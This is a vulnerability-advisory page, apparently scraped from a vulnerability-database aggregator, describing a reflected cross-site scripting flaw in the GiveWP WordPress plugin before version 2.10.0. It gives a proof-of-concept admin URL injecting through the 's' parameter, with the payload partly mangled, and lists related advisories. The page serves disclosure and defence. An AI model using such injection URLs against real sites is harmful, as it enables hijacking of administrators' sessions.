Lucene search
K
Database
Vendors
Products
Years
CVSS
Scanner
Agent Scanning
API Scanning
Manual Audit
Perimeter Scanner
Scanning
Projects
Email
Webhook
Plugins
Resources
Documents
Blog
Glossary
FAQ
Pricing
Contacts
About Us
Partners
Branding Guideline
wpvulndbAustin BentleyWPVDB-ID:DA4AB508-A423-4C7F-A1D4-42EC6F989309
HistoryMar 23, 2021 - 12:00 a.m.

GiveWP < 2.10.0 - Reflected Cross Site Scripting (XSS)

2021-03-2300:00:00
Austin Bentley
wpscan.com
5
JSON

The plugin was affected by a reflected Cross-Site Scripting vulnerability inside of the administration panel, via the ‘s’ GET parameter on the Donors page.

PoC

https://example.com/wp-admin/edit.php?s=">&amp;start-date;&amp;end-date;&amp;form;_id=0&amp;action;=-1&amp;paged;=1&amp;give;_action=delete_bulk_donor&amp;orderby;=id&amp;order;=DESC&amp;action2;=-1&amp;post;_type=give_forms&amp;page;=give-donors&amp;view;=donors

CPENameOperatorVersion
givelt2.10.0

Related

patchstack 1
zdt 1
cve 1
packetstorm 1
prion 1
openvas 1
wpexploit 1
patchstack
patchstack
WordPress GiveWP plugin <= 2.9.7 - Reflected Cross-Site Scripting (XSS) vulnerability
2021-03-23 00:00:00
zdt
zdt
WordPress GiveWP 2.9.7 Cross Site Scripting Vulnerability
2021-03-23 00:00:00
cve
cve
CVE-2021-24213
2021-04-12 14:15:00
packetstorm
packetstorm
WordPress GiveWP 2.9.7 Cross Site Scripting
2021-03-23 00:00:00
prion
prion
Cross site scripting
2021-04-12 14:15:00
openvas
openvas
WordPress GiveWP Plugin < 2.10.0 XSS Vulnerability
2021-06-04 00:00:00
wpexploit
wpexploit
GiveWP < 2.10.0 - Reflected Cross Site Scripting (XSS)
2021-03-23 00:00:00
JSON
Related for WPVDB-ID:DA4AB508-A423-4C7F-A1D4-42EC6F989309
patchstack1zdt1cve1packetstorm1prion1openvas1wpexploit1